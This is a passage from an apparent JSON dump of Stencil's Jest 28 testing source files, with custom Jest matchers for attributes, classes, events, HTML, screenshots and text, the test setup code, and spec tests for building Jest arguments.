fmDt += ('0' + d.getSeconds()).slice(-2);\n\n  return fmDt;\n}\n\nfunction createBuildMessage() {\n  const d = new Date();\n\n  let fmDt = d.getFullYear() + '' + '-';\n  fmDt += ('0' + (d.getMonth() + 1)).slice(-2) + '-';\n  fmDt += ('0' + d.getDate()).slice(-2) + ' ';\n  fmDt += ('0' + d.getHours()).slice(-2) + ':';\n  fmDt += ('0' + d.getMinutes()).slice(-2) + ':';\n  fmDt += ('0' + d.getSeconds()).slice(-2);\n\n  return `Build: ${fmDt}`;\n}\n"
  },
  {
    "path": "src/testing/jest/jest-28/jest-serializer.ts",
    "content": "import { MockNode, serializeNodeToHtml } from '@stencil/core/mock-doc';\n\nconst print = (val: unknown): string => {\n  // we coerce here because Jest wants `val` to be unknown\n  return serializeNodeToHtml(val as MockNode | Node, {\n    serializeShadowRoot: true,\n    prettyHtml: true,\n    outerHtml: true,\n  });\n};\n\nconst test = (val: any): boolean => {\n  return val !== undefined && val !== null && (val instanceof HTMLElement || val instanceof MockNode);\n};\n\nexport const HtmlSerializer = {\n  print,\n  test,\n};\n"
  },
  {
    "path": "src/testing/jest/jest-28/jest-setup-test-framework.ts",
    "content": "import { BUILD, Env } from '@app-data';\nimport type * as d from '@stencil/core/internal';\nimport { E2EProcessEnv } from '@stencil/core/internal';\nimport {\n  modeResolutionChain,\n  resetPlatform,\n  setErrorHandler,\n  stopAutoApplyChanges,\n} from '@stencil/core/internal/testing';\nimport { MockDocument, MockNode, MockWindow, setupGlobal, teardownGlobal } from '@stencil/core/mock-doc';\n\nimport { setupMockFetch } from '../../mock-fetch';\nimport { resetBuildConditionals } from '../../reset-build-conditionals';\nimport { HtmlSerializer } from './jest-serializer';\nimport { expectExtend } from './matchers';\n\ndeclare const global: d.JestEnvironmentGlobal;\n\nexport function jestSetupTestFramework() {\n  global.resourcesUrl = '/build';\n\n  expect.extend(expectExtend);\n  expect.addSnapshotSerializer(HtmlSerializer);\n\n  setupGlobal(global);\n  setupMockFetch(global);\n\n  beforeEach(() => {\n    // reset the platform for this new test\n    resetPlatform();\n    setErrorHandler(undefined);\n    resetBuildConditionals(BUILD);\n    modeResolutionChain.length = 0;\n  });\n\n  afterEach(async () => {\n    stopAutoApplyChanges();\n\n    // Remove each node from the mocked DOM\n    // Without this step, a component's `disconnectedCallback`\n    // will not be called since this only happens when a node is removed,\n    // not if the window is destroyed.\n    //\n    // So, we do this outside the mocked window/DOM teardown\n    // because this operation is really only necessary in the testing\n    // context so any \"cleanup\" operations in the `disconnectedCallback`\n    // can happen to prevent testing errors with async code in the component\n    //\n    // We only care about removing all the nodes that are children of the 'body' tag/node.\n    // This node is a child of the `html` tag which is the 2nd child of the document (hence\n    // the `1` index).\n    const bodyNode = (\n      ((global as any).window as MockWindow)?.document as unknown as MockDocument\n    )?.childNodes?.[1]?.childNodes?.find((ref) => ref.nodeName === 'BODY');\n    bodyNode?.childNodes?.forEach(removeDomNodes);\n\n    teardownGlobal(global);\n    global.resourcesUrl = '/build';\n  });\n\n  afterAll(async () => {\n    if (global.__CLOSE_OPEN_PAGES__) {\n      await global.__CLOSE_OPEN_PAGES__();\n    }\n  });\n\n  global.screenshotDescriptions = new Set();\n\n  // during E2E tests, we can safely assume that the current environment is a `E2EProcessEnv`\n  const env: E2EProcessEnv = process.env as E2EProcessEnv;\n\n  if (typeof env.__STENCIL_DEFAULT_TIMEOUT__ === 'string') {\n    const time = parseInt(env.__STENCIL_DEFAULT_TIMEOUT__, 10);\n    jest.setTimeout(time * 1.5);\n  }\n  if (typeof env.__STENCIL_ENV__ === 'string') {\n    const stencilEnv = JSON.parse(env.__STENCIL_ENV__);\n    Object.assign(Env, stencilEnv);\n  }\n}\n\n/**\n * Recursively removes all child nodes of a passed node starting with the\n * furthest descendant and then moving back up the DOM tree.\n *\n * @param node The mocked DOM node that will be removed from the DOM\n */\nexport function removeDomNodes(node: MockNode | undefined | null) {\n  if (node == null) {\n    return;\n  }\n\n  if (!node.childNodes?.length) {\n    node.remove();\n  }\n\n  node.childNodes?.forEach(removeDomNodes);\n}\n"
  },
  {
    "path": "src/testing/jest/jest-28/matchers/attributes.ts",
    "content": "import { NODE_TYPES } from '@stencil/core/mock-doc';\n\nexport function toEqualAttribute(elm: HTMLElement, expectAttrName: string, expectAttrValue: string) {\n  if (!elm) {\n    throw new Error(`expect toMatchAttribute value is null`);\n  }\n\n  if (typeof (elm as any).then === 'function') {\n    throw new Error(`element must be a resolved value, not a promise, before it can be tested`);\n  }\n\n  if (elm.nodeType !== NODE_TYPES.ELEMENT_NODE) {\n    throw new Error(`expect toMatchAttribute value is not an element`);\n  }\n\n  let receivedAttrValue = elm.getAttribute(expectAttrName);\n\n  if (expectAttrValue != null) {\n    expectAttrValue = String(expectAttrValue);\n  }\n\n  if (receivedAttrValue != null) {\n    receivedAttrValue = String(receivedAttrValue);\n  }\n\n  const pass = expectAttrValue === receivedAttrValue;\n\n  return {\n    message: () =>\n      `expected attribute ${expectAttrName} \"${expectAttrValue}\" to ${pass ? 'not ' : ''}equal \"${receivedAttrValue}\"`,\n    pass: pass,\n  };\n}\n\nexport function toEqualAttributes(elm: HTMLElement, expectAttrs: { [attrName: string]: any }) {\n  if (!elm) {\n    throw new Error(`expect toEqualAttributes value is null`);\n  }\n\n  if (typeof (elm as any).then === 'function') {\n    throw new Error(`element must be a resolved value, not a promise, before it can be tested`);\n  }\n\n  if (elm.nodeType !== NODE_TYPES.ELEMENT_NODE) {\n    throw new Error(`expect toEqualAttributes value is not an element`);\n  }\n\n  const attrNames = Object.keys(expectAttrs);\n\n  const pass = attrNames.every((attrName) => {\n    let expectAttrValue = expectAttrs[attrName];\n    if (expectAttrValue != null) {\n      expectAttrValue = String(expectAttrValue);\n    }\n    return elm.getAttribute(attrName) === expectAttrValue;\n  });\n\n  return {\n    message: () =>\n      `expected attributes to ${pass ? 'not ' : ''}equal ${attrNames\n        .map((a) => `[${a}=\"${expectAttrs[a]}\"]`)\n        .join(', ')}`,\n    pass: pass,\n  };\n}\n\nexport function toHaveAttribute(elm: HTMLElement, expectAttrName: string) {\n  if (!elm) {\n    throw new Error(`expect toHaveAttribute value is null`);\n  }\n\n  if (typeof (elm as any).then === 'function') {\n    throw new Error(`element must be a resolved value, not a promise, before it can be tested`);\n  }\n\n  if (elm.nodeType !== NODE_TYPES.ELEMENT_NODE) {\n    throw new Error(`expect toHaveAttribute value is not an element`);\n  }\n\n  const pass = elm.hasAttribute(expectAttrName);\n\n  return {\n    message: () => `expected to ${pass ? 'not ' : ''}have the attribute \"${expectAttrName}\"`,\n    pass: pass,\n  };\n}\n"
  },
  {
    "path": "src/testing/jest/jest-28/matchers/class-list.ts",
    "content": "export function toHaveClass(elm: HTMLElement, expectClassName: string) {\n  if (!elm) {\n    throw new Error(`expect toHaveClass value is null`);\n  }\n\n  if (typeof (elm as any).then === 'function') {\n    throw new Error(`element must be a resolved value, not a promise, before it can be tested`);\n  }\n\n  if (elm.nodeType !== 1) {\n    throw new Error(`expect toHaveClass value is not an element`);\n  }\n\n  const pass = elm.classList.contains(expectClassName);\n\n  return {\n    message: () => `expected to ${pass ? 'not ' : ''}have css class \"${expectClassName}\"`,\n    pass: pass,\n  };\n}\n\nexport function toHaveClasses(elm: HTMLElement, expectClassNames: string[]) {\n  if (!elm) {\n    throw new Error(`expect toHaveClasses value is null`);\n  }\n\n  if (typeof (elm as any).then === 'function') {\n    throw new Error(`element must be a resolved value, not a promise, before it can be tested`);\n  }\n\n  if (elm.nodeType !== 1) {\n    throw new Error(`expect toHaveClasses value is not an element`);\n  }\n\n  const pass = expectClassNames.every((expectClassName) => {\n    return elm.classList.contains(expectClassName);\n  });\n\n  return {\n    message: () =>\n      `expected to ${pass ? 'not ' : ''}have css classes \"${expectClassNames.join(' ')}\", but className is \"${\n        elm.className\n      }\"`,\n    pass: pass,\n  };\n}\n\nexport function toMatchClasses(elm: HTMLElement, expectClassNames: string[]) {\n  let { pass } = toHaveClasses(elm, expectClassNames);\n  if (pass) {\n    pass = expectClassNames.length === elm.classList.length;\n  }\n\n  return {\n    message: () =>\n      `expected to ${pass ? 'not ' : ''}match css classes \"${expectClassNames.join(' ')}\", but className is \"${\n        elm.className\n      }\"`,\n    pass: pass,\n  };\n}\n"
  },
  {
    "path": "src/testing/jest/jest-28/matchers/events.ts",
    "content": "import type * as d from '@stencil/core/internal';\n\nexport function toHaveReceivedEvent(eventSpy: d.EventSpy) {\n  if (!eventSpy) {\n    throw new Error(`toHaveReceivedEvent event spy is null`);\n  }\n\n  if (typeof (eventSpy as any).then === 'function') {\n    throw new Error(`event spy must be a resolved value, not a promise, before it can be tested`);\n  }\n\n  if (!eventSpy.eventName) {\n    throw new Error(`toHaveReceivedEvent did not receive an event spy`);\n  }\n\n  const pass = eventSpy.events.length > 0;\n\n  return {\n    message: () => `expected to have ${pass ? 'not ' : ''}called \"${eventSpy.eventName}\" event`,\n    pass: pass,\n  };\n}\n\nexport function toHaveReceivedEventTimes(eventSpy: d.EventSpy, count: number) {\n  if (!eventSpy) {\n    throw new Error(`toHaveReceivedEventTimes event spy is null`);\n  }\n\n  if (typeof (eventSpy as any).then === 'function') {\n    throw new Error(`event spy must be a resolved value, not a promise, before it can be tested`);\n  }\n\n  if (!eventSpy.eventName) {\n    throw new Error(`toHaveReceivedEventTimes did not receive an event spy`);\n  }\n\n  const pass = eventSpy.length === count;\n\n  return {\n    message: () =>\n      `expected event \"${eventSpy.eventName}\" to have been called ${count} times, but was called ${\n        eventSpy.events.length\n      } time${eventSpy.events.length > 1 ? 's' : ''}`,\n    pass: pass,\n  };\n}\n\nexport function toHaveReceivedEventDetail(eventSpy: d.EventSpy, eventDetail: any) {\n  if (!eventSpy) {\n    throw new Error(`toHaveReceivedEventDetail event spy is null`);\n  }\n\n  if (typeof (eventSpy as any).then === 'function') {\n    throw new Error(`event spy must be a resolved value, not a promise, before it can be tested`);\n  }\n\n  if (!eventSpy.eventName) {\n    throw new Error(`toHaveReceivedEventDetail did not receive an event spy`);\n  }\n\n  if (!eventSpy.lastEvent) {\n    throw new Error(`event \"${eventSpy.eventName}\" was not received`);\n  }\n\n  const pass = deepEqual(eventSpy.lastEvent.detail, eventDetail);\n\n  expect(eventSpy.lastEvent.detail).toEqual(eventDetail);\n\n  return {\n    message: () => `expected event \"${eventSpy.eventName}\" detail to ${pass ? 'not ' : ''}equal`,\n    pass: pass,\n  };\n}\n\nexport function toHaveFirstReceivedEventDetail(eventSpy: d.EventSpy, eventDetail: any) {\n  if (!eventSpy) {\n    throw new Error(`toHaveFirstReceivedEventDetail event spy is null`);\n  }\n\n  if (typeof (eventSpy as any).then === 'function') {\n    throw new Error(`event spy must be a resolved value, not a promise, before it can be tested`);\n  }\n\n  if (!eventSpy.eventName) {\n    throw new Error(`toHaveFirstReceivedEventDetail did not receive an event spy`);\n  }\n\n  if (!eventSpy.firstEvent) {\n    throw new Error(`event \"${eventSpy.eventName}\" was not received`);\n  }\n\n  const pass = deepEqual(eventSpy.firstEvent.detail, eventDetail);\n\n  expect(eventSpy.firstEvent.detail).toEqual(eventDetail);\n\n  return {\n    message: () => `expected event \"${eventSpy.eventName}\" detail to ${pass ? 'not ' : ''}equal`,\n    pass: pass,\n  };\n}\n\nexport function toHaveLastReceivedEventDetail(eventSpy: d.EventSpy, eventDetail: any) {\n  if (!eventSpy) {\n    throw new Error(`toHaveLastReceivedEventDetail event spy is null`);\n  }\n\n  if (typeof (eventSpy as any).then === 'function') {\n    throw new Error(`event spy must be a resolved value, not a promise, before it can be tested`);\n  }\n\n  if (!eventSpy.eventName) {\n    throw new Error(`toHaveLastReceivedEventDetail did not receive an event spy`);\n  }\n\n  if (!eventSpy.firstEvent) {\n    throw new Error(`event \"${eventSpy.eventName}\" was not received`);\n  }\n\n  const pass = deepEqual(eventSpy.lastEvent.detail, eventDetail);\n\n  expect(eventSpy.lastEvent.detail).toEqual(eventDetail);\n\n  return {\n    message: () => `expected event \"${eventSpy.eventName}\" detail to ${pass ? 'not ' : ''}equal`,\n    pass: pass,\n  };\n}\n\nexport function toHaveNthReceivedEventDetail(eventSpy: d.EventSpy, index: number, eventDetail: any) {\n  if (!eventSpy) {\n    throw new Error(`toHaveNthReceivedEventDetail event spy is null`);\n  }\n\n  if (typeof (eventSpy as any).then === 'function') {\n    throw new Error(`event spy must be a resolved value, not a promise, before it can be tested`);\n  }\n\n  if (!eventSpy.eventName) {\n    throw new Error(`toHaveNthReceivedEventDetail did not receive an event spy`);\n  }\n\n  if (!eventSpy.firstEvent) {\n    throw new Error(`event \"${eventSpy.eventName}\" was not received`);\n  }\n\n  const event = eventSpy.events[index];\n\n  if (!event) {\n    throw new Error(`event at index ${index} was not received`);\n  }\n\n  const pass = deepEqual(event.detail, eventDetail);\n\n  expect(event.detail).toEqual(eventDetail);\n\n  return {\n    message: () => `expected event \"${eventSpy.eventName}\" detail to ${pass ? 'not ' : ''}equal`,\n    pass: pass,\n  };\n}\n\n// from https://www.npmjs.com/package/fast-deep-equal\n// License in NOTICE.md\nconst deepEqual = function equal(a: any, b: any) {\n  if (a === b) return true;\n\n  if (a && b && typeof a == 'object' && typeof b == 'object') {\n    const arrA = Array.isArray(a),\n      arrB = Array.isArray(b);\n    let i, length, key;\n\n    if (arrA && arrB) {\n      length = a.length;\n      if (length != b.length) return false;\n      for (i = length; i-- !== 0; ) if (!equal(a[i], b[i])) return false;\n      return true;\n    }\n\n    if (arrA != arrB) return false;\n\n    const dateA = a instanceof Date,\n      dateB = b instanceof Date;\n    if (dateA != dateB) return false;\n    if (dateA && dateB) return a.getTime() == b.getTime();\n\n    const regexpA = a instanceof RegExp,\n      regexpB = b instanceof RegExp;\n    if (regexpA != regexpB) return false;\n    if (regexpA && regexpB) return a.toString() == b.toString();\n\n    const keys = Object.keys(a);\n    length = keys.length;\n\n    if (length !== Object.keys(b).length) return false;\n\n    for (i = length; i-- !== 0; ) if (!Object.prototype.hasOwnProperty.call(b, keys[i])) return false;\n\n    for (i = length; i-- !== 0; ) {\n      key = keys[i];\n      if (!equal(a[key], b[key])) return false;\n    }\n\n    return true;\n  }\n\n  return a !== a && b !== b;\n};\n"
  },
  {
    "path": "src/testing/jest/jest-28/matchers/html.ts",
    "content": "import type * as d from '@stencil/core/internal';\nimport { NODE_TYPES, parseHtmlToFragment, serializeNodeToHtml } from '@stencil/core/mock-doc';\n\nexport function toEqualHtml(input: string | HTMLElement | ShadowRoot, shouldEqual: string) {\n  return compareHtml(input, shouldEqual, true);\n}\n\nexport function toEqualLightHtml(input: string | HTMLElement | ShadowRoot, shouldEqual: string) {\n  return compareHtml(input, shouldEqual, false);\n}\n\nexport function compareHtml(\n  input: string | HTMLElement | ShadowRoot,\n  shouldEqual: string,\n  serializeShadowRoot: d.SerializeDocumentOptions['serializeShadowRoot'],\n) {\n  if (input == null) {\n    throw new Error(`expect toEqualHtml() value is \"${input}\"`);\n  }\n\n  if (typeof (input as any).then === 'function') {\n    throw new Error(`element must be a resolved value, not a promise, before it can be tested`);\n  }\n\n  let serializeA: string;\n\n  if ((input as HTMLElement).nodeType === NODE_TYPES.ELEMENT_NODE) {\n    const options = getSpecOptions(input as any);\n    serializeA = serializeNodeToHtml(input as any, {\n      prettyHtml: true,\n      outerHtml: true,\n      removeHtmlComments: options.includeAnnotations === false,\n      excludeTags: ['body'],\n      serializeShadowRoot,\n    });\n  } else if ((input as HTMLElement).nodeType === NODE_TYPES.DOCUMENT_FRAGMENT_NODE) {\n    serializeA = serializeNodeToHtml(input as any, {\n      prettyHtml: true,\n      excludeTags: ['style'],\n      excludeTagContent: ['style'],\n      serializeShadowRoot,\n    });\n  } else if (typeof input === 'string') {\n    const parseA = parseHtmlToFragment(input);\n    serializeA = serializeNodeToHtml(parseA, {\n      prettyHtml: true,\n      serializeShadowRoot,\n    });\n  } else {\n    throw new Error(`expect toEqualHtml() value should be an element, shadow root or string.`);\n  }\n\n  const parseB = parseHtmlToFragment(shouldEqual);\n\n  const serializeB = serializeNodeToHtml(parseB, {\n    prettyHtml: true,\n    excludeTags: ['body'],\n  });\n\n  if (serializeA !== serializeB) {\n    expect(serializeA).toBe(serializeB);\n    return {\n      message: () => 'HTML does not match',\n      pass: false,\n    };\n  }\n\n  return {\n    message: () => 'expect HTML to match',\n    pass: true,\n  };\n}\n\nfunction getSpecOptions(el: HTMLElement): Partial<d.NewSpecPageOptions> {\n  if (el && el.ownerDocument && el.ownerDocument.defaultView) {\n    return (el.ownerDocument.defaultView as any)['__stencil_spec_options'] || {};\n  }\n\n  return {};\n}\n"
  },
  {
    "path": "src/testing/jest/jest-28/matchers/index.ts",
    "content": "import { toEqualAttribute, toEqualAttributes, toHaveAttribute } from './attributes';\nimport { toHaveClass, toHaveClasses, toMatchClasses } from './class-list';\nimport {\n  toHaveFirstReceivedEventDetail,\n  toHaveLastReceivedEventDetail,\n  toHaveNthReceivedEventDetail,\n  toHaveReceivedEvent,\n  toHaveReceivedEventDetail,\n  toHaveReceivedEventTimes,\n} from './events';\nimport { toEqualHtml, toEqualLightHtml } from './html';\nimport { toMatchScreenshot } from './screenshot';\nimport { toEqualText } from './text';\n\nexport const expectExtend = {\n  toEqualAttribute,\n  toEqualAttributes,\n  toEqualHtml,\n  toEqualLightHtml,\n  toEqualText,\n  toHaveAttribute,\n  toHaveClass,\n  toHaveClasses,\n  toMatchClasses,\n  toHaveReceivedEvent,\n  toHaveReceivedEventDetail,\n  toHaveReceivedEventTimes,\n  toHaveFirstReceivedEventDetail,\n  toHaveLastReceivedEventDetail,\n  toHaveNthReceivedEventDetail,\n  toMatchScreenshot,\n};\n"
  },
  {
    "path": "src/testing/jest/jest-28/matchers/screenshot.ts",
    "content": "import type * as d from '@stencil/core/internal';\n\nexport function toMatchScreenshot(compare: d.ScreenshotDiff, opts: d.MatchScreenshotOptions = {}) {\n  if (!compare) {\n    throw new Error(`expect toMatchScreenshot value is null`);\n  }\n\n  if (typeof (compare as any).then === 'function') {\n    throw new Error(\n      `expect(compare).toMatchScreenshot() must be a resolved value, not a promise, before it can be tested`,\n    );\n  }\n\n  if (typeof compare.mismatchedPixels !== 'number') {\n    throw new Error(\n      `expect toMatchScreenshot() value is not a valid screenshot compare object - 'mismatchedPixels' has type '${typeof compare.mismatchedPixels}', but should be a number`,\n    );\n  }\n\n  if (typeof compare.deviceScaleFactor !== 'number') {\n    throw new Error(\n      `expect toMatchScreenshot() value is not a valid screenshot compare object - 'deviceScaleFactor' has type '${typeof compare.deviceScaleFactor}', but should be a number`,\n    );\n  }\n\n  const device = compare.device || compare.userAgent;\n\n  if (typeof opts.allowableMismatchedRatio === 'number') {\n    if (opts.allowableMismatchedRatio < 0 || opts.allowableMismatchedRatio > 1) {\n      throw new Error(`expect toMatchScreenshot() allowableMismatchedRatio must be a value ranging from 0 to 1`);\n    }\n\n    const mismatchedRatio =\n      compare.mismatchedPixels /\n      (compare.width * compare.deviceScaleFactor * (compare.height * compare.deviceScaleFactor));\n    return {\n      message: () =>\n        `${device}: screenshot has a mismatch ratio of \"${mismatchedRatio}\" for \"${compare.desc}\", but expected ratio to be less than \"${opts.allowableMismatchedRatio}\"`,\n      pass: mismatchedRatio <= opts.allowableMismatchedRatio,\n    };\n  }\n\n  if (typeof opts.allowableMismatchedPixels === 'number') {\n    if (opts.allowableMismatchedPixels < 0) {\n      throw new Error(\n        `expect toMatchScreenshot() allowableMismatchedPixels value must be a value that is 0 or greater`,\n      );\n    }\n    return {\n      message: () =>\n        `${device}: screenshot has \"${compare.mismatchedPixels}\" mismatched pixels for \"${compare.desc}\", but expected less than \"${opts.allowableMismatchedPixels}\" mismatched pixels`,\n      pass: compare.mismatchedPixels <= opts.allowableMismatchedPixels,\n    };\n  }\n\n  if (typeof compare.allowableMismatchedRatio === 'number') {\n    const mismatchedRatio =\n      compare.mismatchedPixels /\n      (compare.width * compare.deviceScaleFactor * (compare.height * compare.deviceScaleFactor));\n    return {\n      message: () =>\n        `${device}: screenshot has a mismatch ratio of \"${mismatchedRatio}\" for \"${compare.desc}\", but expected ratio to be less than \"${compare.allowableMismatchedRatio}\"`,\n      pass: mismatchedRatio <= compare.allowableMismatchedRatio,\n    };\n  }\n\n  if (typeof compare.allowableMismatchedPixels === 'number') {\n    return {\n      message: () =>\n        `${device}: screenshot has \"${compare.mismatchedPixels}\" mismatched pixels for \"${compare.desc}\", but expected less than \"${compare.allowableMismatchedPixels}\" mismatched pixels`,\n      pass: compare.mismatchedPixels <= compare.allowableMismatchedPixels,\n    };\n  }\n\n  throw new Error(`expect toMatchScreenshot() missing allowableMismatchedPixels in testing config`);\n}\n"
  },
  {
    "path": "src/testing/jest/jest-28/matchers/text.ts",
    "content": "import { NODE_TYPES } from '@stencil/core/mock-doc';\n\nexport function toEqualText(input: HTMLElement | string, expectTextContent: string) {\n  if (input == null) {\n    throw new Error(`expect toEqualText() value is \"${input}\"`);\n  }\n\n  if (typeof (input as any).then === 'function') {\n    throw new Error(`element must be a resolved value, not a promise, before it can be tested`);\n  }\n\n  let textContent: string;\n\n  if ((input as HTMLElement).nodeType === NODE_TYPES.ELEMENT_NODE) {\n    textContent = ((input as HTMLElement).textContent ?? '').replace(/\\s\\s+/g, ' ').trim();\n  } else {\n    textContent = String(input).replace(/\\s\\s+/g, ' ').trim();\n  }\n\n  if (typeof expectTextContent === 'string') {\n    expectTextContent = expectTextContent.replace(/\\s\\s+/g, ' ').trim();\n  }\n\n  const pass = textContent === expectTextContent;\n\n  return {\n    message: () => `expected textContent \"${expectTextContent}\" to ${pass ? 'not ' : ''}equal \"${textContent}\"`,\n    pass: pass,\n  };\n}\n"
  },
  {
    "path": "src/testing/jest/jest-28/package.json",
    "content": "{\n  \"name\": \"@stencil/jest-28\",\n  \"version\": \"1.0.0\",\n  \"description\": \"Internal package for supporting Jest 28 with Stencil\",\n  \"license\": \"MIT\",\n  \"author\": \"Ionic Team\",\n  \"homepage\": \"https://stenciljs.com/\",\n  \"volta\": {\n    \"extends\": \"../../../../package.json\"\n  },\n  \"devDependencies\": {\n    \"@types/jest\": \"^28.1.8\",\n    \"jest\": \"^28.1.3\"\n  }\n}\n"
  },
  {
    "path": "src/testing/jest/jest-28/test/__snapshots__/jest-serializer.spec.ts.snap",
    "content": "// Jest Snapshot v1, https://goo.gl/fbAQLP\n\nexports[`serialize node should serialize 1`] = `\n<body>\n  <div>\n    Test\n  </div>\n</body>\n`;\n"
  },
  {
    "path": "src/testing/jest/jest-28/test/jest-config.spec.ts",
    "content": "import type { Config } from '@jest/types';\nimport { BOOLEAN_CLI_FLAGS } from '@stencil/core/cli';\nimport type * as d from '@stencil/core/declarations';\nimport { mockValidatedConfig } from '@stencil/core/testing';\nimport path from 'path';\n\nimport { parseFlags } from '../../../../cli/parse-flags';\nimport { buildJestArgv } from '../jest-config';\n\ndescribe('jest-config', () => {\n  it('pass --maxWorkers=2 arg when --max-workers=2', () => {\n    const args = ['test', '--ci', '--max-workers=2'];\n    const config = mockValidatedConfig();\n    config.flags = parseFlags(args);\n\n    expect(config.flags.args).toEqual(['--ci', '--max-workers=2']);\n    expect(config.flags.unknownArgs).toEqual([]);\n\n    const jestArgv = buildJestArgv(config);\n    expect(jestArgv.ci).toBe(true);\n    expect(jestArgv.maxWorkers).toBe(2);\n  });\n\n  // the 'help' and 'version' flags are problematic with yargs (they cause a\n  // hang) and we intercept those flags and do our own thing before turning\n  // over to jest anyway\n  const cliFlagsToTest = BOOLEAN_CLI_FLAGS.filter((flag) => flag !== 'help' && flag !== 'version');\n  describe.each(cliFlagsToTest)('should deal with flag %s correctly', (cliArg) => {\n    it('converts boolean flag to boolean', () => {\n      const args = ['test', `--${cliArg}`];\n      const config = mockValidatedConfig();\n      config.flags = parseFlags(args);\n      const jestArgv = buildJestArgv(config);\n      expect(jestArgv[cliArg]).toBe(true);\n    });\n  });\n\n  it('marks outputFile as a Jest argument', () => {\n    const args = ['test', '--ci', '--outputFile=path/to/my-file'];\n    const config = mockValidatedConfig();\n    config.flags = parseFlags(args);\n    expect(config.flags.args).toEqual(['--ci', '--outputFile=path/to/my-file']);\n    expect(config.flags.unknownArgs).toEqual([]);\n    const jestArgv = buildJestArgv(config);\n    expect(jestArgv.outputFile).toBe('path/to/my-file');\n  });\n\n  it('pass --maxWorkers=2 arg when e2e test and --ci', () => {\n    const args = ['test', '--ci', '--e2e', '--max-workers=2'];\n    const config = mockValidatedConfig();\n    config.flags = parseFlags(args);\n\n    expect(config.flags.args).toEqual(['--ci', '--e2e', '--max-workers=2']);\n    expect(config.flags.unknownArgs).toEqual([]);\n\n    const jestArgv = buildJestArgv(config);\n    expect(jestArgv.ci).toBe(true);\n    expect(jestArgv.maxWorkers).toBe(2);\n  });\n\n  it('passes default --maxWorkers=0 arg when e2e test and --ci', () => {\n    const args = ['test', '--ci', '--e2e'];\n    const config = mockValidatedConfig();\n    config.flags = parseFlags(args);\n\n    expect(config.flags.args).toEqual(['--ci', '--e2e']);\n    expect(config.flags.unknownArgs).toEqual([]);\n\n    const jestArgv = buildJestArgv(config);\n    expect(jestArgv.ci).toBe(true);\n    expect(jestArgv.maxWorkers).toBe(0);\n  });\n\n  it('passed default --maxWorkers=0 arg when e2e test and --ci with filepath', () => {\n    const args = ['test', '--ci', '--e2e', '--', 'my-specfile.spec.ts'];\n    const config = mockValidatedConfig();\n    config.flags = parseFlags(args);\n\n    expect(config.flags.args).toEqual(['--ci', '--e2e', '--', 'my-specfile.spec.ts']);\n    expect(config.flags.unknownArgs).toEqual(['--', 'my-specfile.spec.ts']);\n\n    const jestArgv = buildJestArgv(config);\n    expect(jestArgv.ci).toBe(true);\n    expect(jestArgv.maxWorkers).toBe(0);\n    expect(jestArgv._).toEqual(['my-specfile.spec.ts']);\n  });\n\n  it('pass --maxWorkers=2 arg to jest', () => {\n    const args = ['test', '--maxWorkers=2'];\n    const config = mockValidatedConfig();\n    config.flags = parseFlags(args);\n\n    expect(config.flags.args).toEqual(['--maxWorkers=2']);\n    expect(config.flags.unknownArgs).toEqual([]);\n\n    const jestArgv = buildJestArgv(config);\n    expect(jestArgv.maxWorkers).toBe(2);\n  });\n\n  it('pass --ci arg to jest', () => {\n    const args = ['test', '--ci'];\n    const config = mockValidatedConfig();\n    config.flags = parseFlags(args);\n\n    expect(config.flags.args).toEqual(['--ci']);\n    expect(config.flags.unknownArgs).toEqual([]);\n\n    const jestArgv = buildJestArgv(config);\n    expect(jestArgv.ci).toBe(true);\n    expect(jestArgv.maxWorkers).toBe(config.maxConcurrentWorkers);\n  });\n\n  it('pass test spec arg to jest', () => {\n    const args = ['test', 'hello.spec.ts'];\n    const config = mockValidatedConfig();\n    config.flags = parseFlags(args);\n\n    expect(config.flags.args).toEqual(['hello.spec.ts']);\n    expect(config.flags.unknownArgs).toEqual(['hello.spec.ts']);\n\n    const jestArgv = buildJestArgv(config);\n    expect(jestArgv._).toEqual(['hello.spec.ts']);\n  });\n\n  it('pass test config to jest', () => {\n    const args = ['test'];\n    const config = mockValidatedConfig({\n      testing: {\n        testMatch: ['hello.spec.ts'],\n      },\n    });\n    config.flags = parseFlags(args);\n\n    expect(config.flags.task).toBe('test');\n\n    const jestArgv = buildJestArgv(config);\n    // `buildJestArgv` is expected to place a `config` property on the returned `Config.Argv`, hence the use of the bang\n    // operator. if one wasn't on the object, `JSON.parse` is expected to throw (failing the test).\n    const parsedConfig = JSON.parse(jestArgv.config!) as d.JestConfig;\n    expect(parsedConfig.testMatch).toEqual(['hello.spec.ts']);\n  });\n\n  it('set jestArgv config reporters', () => {\n    const rootDir = path.resolve('/');\n    const args = ['test'];\n    const config = mockValidatedConfig({\n      rootDir,\n      testing: { reporters: ['default', ['jest-junit', { suiteName: 'jest tests' }]] },\n    });\n    config.flags = parseFlags(args);\n\n    const jestArgv = buildJestArgv(config);\n    // `buildJestArgv` is expected to place a `config` property on the returned `Config.Argv`, hence the use of the bang\n    // operator. if one wasn't on the object, `JSON.parse` is expected to throw (failing the test).\n    const parsedConfig = JSON.parse(jestArgv.config!) as d.JestConfig;\n    expect(parsedConfig.reporters).toHaveLength(2);\n    expect(parsedConfig.reporters[0]).toBe('default');\n    expect(parsedConfig.reporters[1][0]).toBe('jest-junit');\n    expect(parsedConfig.reporters[1][1].suiteName).toBe('jest tests');\n  });\n\n  it('set jestArgv config rootDir', () => {\n    const rootDir = path.resolve('/');\n    const args = ['test'];\n    const config = mockValidatedConfig({ rootDir });\n    config.flags = parseFlags(args);\n\n    const jestArgv = buildJestArgv(config);\n    // `buildJestArgv` is expected to place a `config` property on the returned `Config.Argv`, hence the use of the bang\n    // operator. if one wasn't on the object, `JSON.parse` is expected to throw (failing the test).\n    const parsedConfig = JSON.parse(jestArgv.config!) as d.JestConfig;\n    expect(parsedConfig.rootDir).toBe(rootDir);\n  });\n\n  it('set jestArgv config collectCoverageFrom', () => {\n    const rootDir = path.resolve('/');\n    const args = ['test'];\n    const config = mockValidatedConfig({ rootDir, testing: { collectCoverageFrom: ['**/*.+(ts|tsx)'] } });\n    config.flags = parseFlags(args);\n\n    const jestArgv = buildJestArgv(config);\n    // `buildJestArgv` is expected to place a `config` property on the returned `Config.Argv`, hence the use of the bang\n    // operator. if one wasn't on the object, `JSON.parse` is expected to throw (failing the test).\n    const parsedConfig = JSON.parse(jestArgv.config!) as d.JestConfig;\n    expect(parsedConfig.collectCoverageFrom).toHaveLength(1);\n    expect(parsedConfig.collectCoverageFrom![0]).toBe('**/*.+(ts|tsx)');\n  });\n\n  it('passed flags should be respected over defaults', () => {\n    const args = ['test', '--spec', '--passWithNoTests'];\n    const config = mockValidatedConfig();\n    config.flags = parseFlags(args);\n\n    expect(config.flags.args).toEqual(['--spec', 